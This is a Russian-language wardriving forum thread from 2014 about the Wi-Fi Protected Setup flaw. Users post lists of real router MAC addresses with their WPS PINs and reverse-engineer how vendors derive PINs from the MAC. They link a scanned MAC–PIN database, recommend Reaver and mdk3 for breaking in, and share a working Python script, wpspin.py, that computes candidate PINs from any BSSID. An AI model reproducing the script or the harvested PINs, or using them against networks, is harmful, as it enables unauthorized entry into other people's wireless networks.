Уязвимость в протоколе Wi-Fi Protected Setup

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by gpuhash, 30 Dec 2011.

  1. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,534
    Likes Received:
    9,510
    Reputations:
    118
    Code:
    20:CF:30:[COLOR=Red]D6[/COLOR]:[COLOR=Yellow]0B[/COLOR]:4D
    [COLOR=Red]40[/COLOR][COLOR=Yellow]27[/COLOR]5970
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:[COLOR=Yellow]0B[/COLOR]:7A
    [COLOR=Red]40[/COLOR][COLOR=Yellow]27[/COLOR]6427
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:[COLOR=Yellow]0B[/COLOR]:A5
    [COLOR=Red]40[/COLOR][COLOR=Yellow]27[/COLOR]6854
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:12:E1
    [COLOR=Red]40[/COLOR]295374
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:16:74
    [COLOR=Red]40[/COLOR]304526
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:1B:C6
    [COLOR=Red]40[/COLOR]318141
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:42:2F
    [COLOR=Red]40[/COLOR]416472
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:49:46
    [COLOR=Red]40[/COLOR]434629
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:[COLOR=Yellow]4F[/COLOR]:53
    [COLOR=Red]40[/COLOR][COLOR=Yellow]45[/COLOR]0117
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:[COLOR=Yellow]4F[/COLOR]:85
    [COLOR=Red]40[/COLOR][COLOR=Yellow]45[/COLOR]0612
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:[COLOR=Yellow]B6[/COLOR]:DE
    [COLOR=Red]40[/COLOR][COLOR=Yellow]71[/COLOR]5186
    
    20:CF:30:[COLOR=Red]D6[/COLOR]:[COLOR=Yellow]B[/COLOR][COLOR=Lime]7[/COLOR]:D0
    [COLOR=Red]40[/COLOR][COLOR=Yellow]71[/COLOR]7609
    Таки закономерности!
    Если дело так и дальше пойдёт, то это очень радует :)

    Возможно, на новых моделях не прикрыли. Просто мак адреса другие - другие пины.
     
    1 person likes this.
  2. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    По похожему принципу нашел небольшую закономерность у точек TP-LINK. :) В отличии от ASUS 7, 8 и 9 значения мак адреса влияют на 2 часть пин кода (а 10, 11 и 12 на первую, возможно?). Тк TP-LINK встречается реже асуса (во всяком случае в Москве), то своей базы нет и беру из чужого поста.

    Code:
    F8:1A:67:8A:F1:04	06695972
    F8:1A:67:97:22:18	78488113
    F8:1A:67:C3:B3:90 	92407213
    F8:1A:67:CB:4F:E6	68474836
    F8:1A:67:[COLOR=Lime]CB:5[/COLOR]3:D0	1472[COLOR=Lime]135[/COLOR]9
    F8:1A:67:[COLOR=Lime]CB:5[/COLOR]7:FC	8882[COLOR=Lime]134[/COLOR]4
    F8:1A:67:CC:E7:44	50042227
    F8:1A:67:EC:91:EE	36735600
    F8:1A:67:EC:99:3E	04165415
    F8:1A:67:F8:40:F4 	65597231
     
  3. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    Тоже нашел неплохую закономерность:
    Code:
    ==========================================================
    20:CF:30:87D0DD 8722C8 88562643         8900829-8856264=44565
    20:CF:30:87E3AC 01325F 00784313         8905644-78431=
    20:CF:30:87E53C 2CDE6E 29405268         8906044-2940526=
    20:CF:30:884346 77D567 78534155         8930118-7853415=1076703    
    
    [COLOR=DarkOrange]20:CF:30:98A519 000E99 00037372          10003737-3737=10000000  
    20:CF:30:98A5AB 000F2B 00038836          =10000000
    20:CF:30:98A607 000F87 00039758             
    20:CF:30:98A61B 000F9B 00039956            
    20:CF:30:98E76F 0050EF 00207195
    20:CF:30:98FA89 006409 00256094            
    20:CF:30:990FFB 00797B 00310994          10031099-31099=10000000      
    20:CF:30:993CB2 00A632 00425469          10042546-42546=10000000  
    20:CF:30:994013 00A993 00434119          10043411-43411=10000000  
    20:CF:30:99409B 00AA1B 00435475            
    20:CF:30:D61023 3D79A3 40288352          =10000000
    20:CF:30:D67D5E 3DE6DE 40567983            
    20:CF:30:D68B4F 3DF4CF 40603674          14060367-4060367=10000000 [/COLOR]
       
    20:CF:30:E4A644 32616D 33017419          14984772-3301741=11683031
    20:CF:30:E4B3A4 5543CB 55879156          14988196-5587915=9400281  
    20:CF:30:E53BC8 5168F7 53352873  
    20:CF:30:E554AC 477746 46835901  
    20:CF:30:E56138 8EBC84 93543729  
    20:CF:30:E5623C 5EAA9E 62040624          15032892-6204062  16204062
    20:CF:30:E5A424 7CC727 81774470          15049764-8177447=
    ===================================================
    в выделенном диапазоне если перевести вторую часть BSSID в из HEX в DEC и отнять 10 000 000 то получим первые 7 цыферок пина без передних 0 !!!
    binarymaster- Спасибо за RouterScan
    Осталось выяснить полный диапазон.
     
    #1783 VladimirV, 14 Mar 2014
    Last edited: 14 Mar 2014
    2 people like this.
  4. VasiliyP

    VasiliyP Well-Known Member

    Joined:
    30 Aug 2011
    Messages:
    265
    Likes Received:
    518
    Reputations:
    8
    А если вторая часть BSSID меньше 10 000 000, то ничего отнимать не нужно? Если да, то это - всем известный метод hex->dec.
     
  5. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    Круто!! Позже еще посканю IP диапазоны и выложу больше WPS пинов, теперь ясно по какой логике они их генерируют! :)
     
  6. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,534
    Likes Received:
    9,510
    Reputations:
    118
    Боюсь, что это новое открытие не открыло ничего нового...

    Поскольку результат работы алгоритмов HexToDec() и HexToDec()-10000000 одинаковый.

    Кстати, вот два экземпляра, которые такому алгоритму не поддаются:
    20:CF:30:87:D7:53
    89371282
    20:CF:30:87:E7:9E
    89395264
     
  7. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    Хахах, я почему-то даже не ожидал что ASUS станут генерировать пин коды из мак адреса. Понятно что это действует только на старых моделях да и то не на всех но все таки может пригодится при взломе. Теперь буду рассматривать другие модели.
     
  8. saimonyz

    saimonyz Member

    Joined:
    23 Jun 2012
    Messages:
    162
    Likes Received:
    41
    Reputations:
    2
    мож каму попала точка с F8:D1:11:73:F7:0C TP-LINK TL-WR740N
     
  9. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    5,938
    Reputations:
    57
    Вот еще нашел немного!
    Code:
    ==============================================
    00:07:26:3EFCC5 1662149    -2465792        D-Link DIR-300   BSSID-2465792  
    00:07:26:4AAA48 2427464    -2465792        D-Link DIR-300   BSSID-2465792  
    ==============================================
    2C:AB:25:0F980A 1778954    +756992         D-Link DIR-300 + 756992 
    2C:AB:25:0F9CBE 1780158    +756992  
    2C:AB:25:3DC7FD 4805885    +756992  
    2C:AB:25:54E30B 6320139    +756992  
    2C:AB:25:551DFF 6335231    +756992  
    2C:AB:25:5AF8DD 6718941    +756992  
    2C:AB:25:61CE0F 7166735    +756992  
    2C:AB:25:69BDFE 7686910    +756992  
    ==============================================
    80:1F:02:12E8EC 4793708    +3554432               EDIMAX BR6428GN  
    80:1F:02:190CCA 5196106    +3554432  
    80:1F:02:2662DF 6070111    +3554432  
    80:1F:02:279152 6147538    +3554432  
    ==============================================
    80:1F:02:4915BE 8344126    +3554432               EDIMAX BR6228GNS  
    80:1F:02:4A3F4C 8420300    +3554432  
    80:1F:02:4F27F4 8742004    +3554432  
    80:1F:02:4F3DBE 8747582    +3554432  
    ==============================================
    30:85:A9:F5135C 1410780    -14650496     ASUS RT-N13U Rev BSSID-14650496  
    30:85:A9:F52938 1416376    -14650496     ASUS RT-N13U Rev BSSID-14650496  
    ==============================================
    50:46:5D:AEAC38 1728440    -9718912     ASUS RT-N13U Rev.B1 BSSID-9718912  
    50:46:5D:AEC93C 1735868    -9718912  
    50:46:5D:AF3D98 1765656    -9718912  
    50:46:5D:AF89D0 1785168    -9718912  
    ==============================================
    F4:6D:04:A1C4C8 7710536    -2891136  ASUS RT-N13U Rev.B1  BSSID-2891136  
    F4:6D:04:A1F864 7723748    -2891136  
    F4:6D:04:A237A8 7739944    -2891136  
    F4:6D:04:A25870 7748336    -2891136  
    ==============================================
    10:BF:48:4A2360 2818272 	ASUS RT-N13U Rev.B1 -2040448
    10:BF:48:4A237C 2818300 	ASUS RT-N13U Rev.B1 -2040448
    10:BF:48:4B4900 2893440 	ASUS RT-N13U Rev.B1 -2040448
    ==============================================
    
     
    #1789 VladimirV, 16 Mar 2014
    Last edited: 18 Mar 2014
  10. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    Точки с таким мак адресом можно же вроде просто ривером ломать? Если прошивка новая и возникает лок то попробуй использовать mdk3.
     
  11. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    Крутая тема :D Кстати, походу у точек с началом 60:A4:4C встречается похожая закономерность что и у старых диапазонов не смотря на то, что этот мак адрес бывает и у новых точек, так что возможно у асусов не у каждой модели свой генератор wps, а у каждого мак диапазона, что может облегчить дальнейший поиск закономерностей :) Вот что смог насканить:

    Code:
    60:A4:4C:A2:C6:94     02863245 
    60:A4:4C:26:25:ED     24147460
    60:A4:4C:A6:49:A8     52421303 
    60:A4:4C:83:A1:1C     43053100  
    60:A4:4C:DE:25:78     64651439 
    60:A4:4C:86:54:7C     40403007  
    60:A4:4C:A3:A8:48     06432034 
    60:A4:4C:79:47:F8     24234047 
    60:A4:4C:3A:B6:A0     40122502  
    60:A4:4C:A3:85:D4     06072438 
    60:A4:4C:A4:86:9C     00120029  
    60:A4:4C:C6:93:84     42329343
     
    #1791 Vikhedgehog, 16 Mar 2014
    Last edited: 16 Mar 2014
  12. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    У меня полетела винда, выложил всю свою базу с соотношениями мак адрес - впс пин для точек асус через бэктрэк на хостинг

    http://zalil.ru/a81Lh
     
  13. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    Спасибо за совет :)
     
  14. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,534
    Likes Received:
    9,510
    Reputations:
    118
    This is хорошо! :)
    На DIR-300 я кстати уже находил эту закономерность, и даже в скрипте её реализовал. Но это только на билайновских роутерах.
     
  15. vedemur

    vedemur Member

    Joined:
    12 Nov 2012
    Messages:
    105
    Likes Received:
    9
    Reputations:
    0
    F8:D1:11:43:AC:B8 0203XXXX
     
  16. saimonyz

    saimonyz Member

    Joined:
    23 Jun 2012
    Messages:
    162
    Likes Received:
    41
    Reputations:
    2
    о попробую
     
  17. Vikhedgehog

    Vikhedgehog Elder - Старейшина

    Joined:
    24 Jul 2013
    Messages:
    356
    Likes Received:
    152
    Reputations:
    17
    Пока есть время, выкладываю еще сети, извините что не отсортированы по MAC. Тут не только ASUS, но и D-Link

    Code:
    BC:EE:7B:32:C5:D0
    53575555
    
    00:18:E7:EC:E4:A9
    46328472
    
    00:24:8C:75:A5:74
    76691645
    
    74:D0:2B:3B:2D:4C
    04354031
    
    60:A4:4C:A4:41:6C
    12403042
    
    60:A4:4C:F1:8F:C0
    97133919
    
    AC:22:0B:E9:DB:FC
    47723405
    
    D8:50:E6:AF:C1:A8
    08274045
    
    C8:60:00:92:38:EA
    28567554
    
    BC:EE:7B:93:A2:30
    50095643
    
    84:C9:B2:52:30:3D
    23294356
    
    E0:CB:4E:82:BF:42
    47561953
    
    84:C9:B2:4C:AE:C5
    27667552
    
    60:A4:4C:27:03:78
    90384271
    
    5C:D9:98:6B:D5:9C
    19908564
    
    5C:D9:98:6B:D3:F6
    18584349
    
    C8:60:00:67:85:98
    18722178
    
    74:D0:2B:3B:22:30
    44324100
    
    74:D0:2B:83:77:64
    08872210
    
    D8:50:E6:AF:CE:CC
    04234005
    
    74:D0:2B:82:F2:04
    02343013
    
    84:C9:B2:62:6B:44
    36539048
    
    74:D0:2B:5D:81:58
    29310364
    
    20:CF:30:CE:4D:77
    33224336
    
    84:C9:B2:4C:AF:57
    29005734
    
    D8:50:E6:42:92:4C
    50122844
    
    D8:50:E6:42:91:E0
    64429700
    
    C8:60:00:91:48:E2
    31195324
    
    1C:7E:E5:3D:FD:86
    48798587
    
    50:46:5D:00:04:50
    57346601
    
    C8:60:00:91:51:4A
    18619263
    
    08:60:6E:C0:A9:60
    41327753
    
    08:60:6E:CC:83:40
    47435612
    
    84:C9:B2:62:6E:2A
    42322221
    
    74:D0:2B:5D:88:10
    10407011
    
    AC:22:0B:EA:67:74
    06124083
    
    D8:50:E6:AC:D5:68
    96996492
    
    08:60:6E:21:C0:88
    65995150
    
    08:60:6E:E9:AA:88
    58651674
    
    00:26:5A:FF:46:90
    56407082
    
    D8:50:E6:94:10:10
    65891087
    
    50:46:5D:01:08:60
    27973592
    
    50:46:5D:CD:FF:18
    76047077
    
    C8:60:00:91:EC:C6
    46433275
    
    08:60:6E:21:D2:B0
    49535471
    
    74:D0:2B:3A:12:44
    20126100
     
  18. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,534
    Likes Received:
    9,510
    Reputations:
    118
    Code:
    #!/usr/bin/env python
    import sys, re
    
    def pin_checksum(pin):
        # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
        # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
        accum = 0
        t = pin
        while (t):
            accum += 3 * (t % 10)
            t /= 10
            accum += t % 10
            t /= 10
        return '%07i%i' % (pin, (10 - accum % 10) % 10)
    
    def gen_hexdec(mac_str):
        return (int(mac_str[6:12], 16) % 10000000)
    
    def gen_beeline(mac_str):
        return ((int(mac_str[6:12], 16) + 756992) % 10000000)
    
    def gen_hexdec_hi(mac_str):
        return ((~int(mac_str[6:12], 16) & 0xFFFFFF) % 10000000)
    
    def gen_hexdec_di(mac_str):
        return (~int(mac_str[6:12], 16) % 10000000)
    
    def gen_hexdec_hda(mac_str):
        return ((gen_hexdec_hi(mac_str) + gen_hexdec_di(mac_str)) % 10000000)
    
    def gen_hexdec_hds(mac_str):
        return ((gen_hexdec_hi(mac_str) - gen_hexdec_di(mac_str)) % 10000000)
    
    def gen_hexdec_dhs(mac_str):
        return ((gen_hexdec_di(mac_str) - gen_hexdec_hi(mac_str)) % 10000000)
    
    def gen_hexdec2x(mac_str):
        return (2*int(mac_str[6:12], 16) % 10000000)
    
    def gen_hexdec3x(mac_str):
        return (3*int(mac_str[6:12], 16) % 10000000)
    
    def gen_hex1_add_hex2_dec(mac_str):
        return ((int(mac_str[0:6], 16)+int(mac_str[6:12], 16)) % 10000000)
    
    def gen_hex1_sub_hex2_dec(mac_str):
        return ((int(mac_str[0:6], 16)-int(mac_str[6:12], 16)) % 10000000)
    
    def gen_hex1_xor_hex2_dec(mac_str):
        return ((int(mac_str[0:6], 16)^int(mac_str[6:12], 16)) % 10000000)
    
    def main():
        if len(sys.argv) != 2:
            sys.exit('Usage: wpspin.py [BSSID]\n eg. wpspin.py 00:11:22:33:44:55\n')
    
        mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1])
    
        if len(mac_str) != 12:
            sys.exit('check MAC format!\n')
    
        print '\n1. Algorithm: Dec(Hex[6..12])\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec(mac_str))
        print '\n  Compatible devices:'
        print '  - ZyXEL NDMS (CC:5D:4E, EC:43:F6, FE:F5:28, etc.)'
        print '  - Some TRENDnet (00:14:D1)'
        print '  - D-Link DIR-620 (90:94:E4)'
        print '  - Huawei HG532e (34:6B:D3)'
        print '  - ASUS RT-G32 (20:CF:30, 90:E6:BA, E0:CB:4E)'
        print '\n2. Algorithm: Dec(Hex[6..12]) + 756992\n'
        print '  WPS PIN: ', pin_checksum(gen_beeline(mac_str))
        print '\n  Compatible devices:'
        print '  - Beeline DIR-300 (2C:AB:25)'
        print '\n3. Algorithm: Dec(Inv(Hex[6..12]))\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec_hi(mac_str))
        print '\n4. Algorithm: Inv(Dec(Hex[6..12]))\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec_di(mac_str))
        print '\n5. Algorithm: Dec(Inv(Hex[6..12])) + Inv(Dec(Hex[6..12]))\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec_hda(mac_str))
        print '\n6. Algorithm: Dec(Inv(Hex[6..12])) - Inv(Dec(Hex[6..12]))\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec_hds(mac_str))
        print '\n7. Algorithm: Inv(Dec(Hex[6..12])) - Dec(Inv(Hex[6..12]))\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec_dhs(mac_str))
        print '\n8. Algorithm: Dec(Hex[6..12]) * 2\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec2x(mac_str))
        print '\n9. Algorithm: Dec(Hex[6..12]) * 3\n'
        print '  WPS PIN: ', pin_checksum(gen_hexdec3x(mac_str))
        print '\n10. Algorithm: Dec(Hex[0..6]) + Dec(Hex[6..12])\n'
        print '  WPS PIN: ', pin_checksum(gen_hex1_add_hex2_dec(mac_str))
        print '\n11. Algorithm: Dec(Hex[0..6]) - Dec(Hex[6..12])\n'
        print '  WPS PIN: ', pin_checksum(gen_hex1_sub_hex2_dec(mac_str))
        print '\n12. Algorithm: Dec(Hex[0..6]) xor Dec(Hex[6..12])\n'
        print '  WPS PIN: ', pin_checksum(gen_hex1_xor_hex2_dec(mac_str))
    
    if __name__ == "__main__":
        main()
    Обновил скрипт wpspin.py, добавил несколько простых алгоритмов. Может быть некоторые из них подойдут к каким-то роутерам.
     
    2 people like this.
  19. ohoo

    ohoo New Member

    Joined:
    26 Dec 2013
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
     
  20. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,534
    Likes Received:
    9,510
    Reputations:
    118
    У меня на Windows работает.

    https://www.python.org/download/releases/2.7.6/
     
Loading...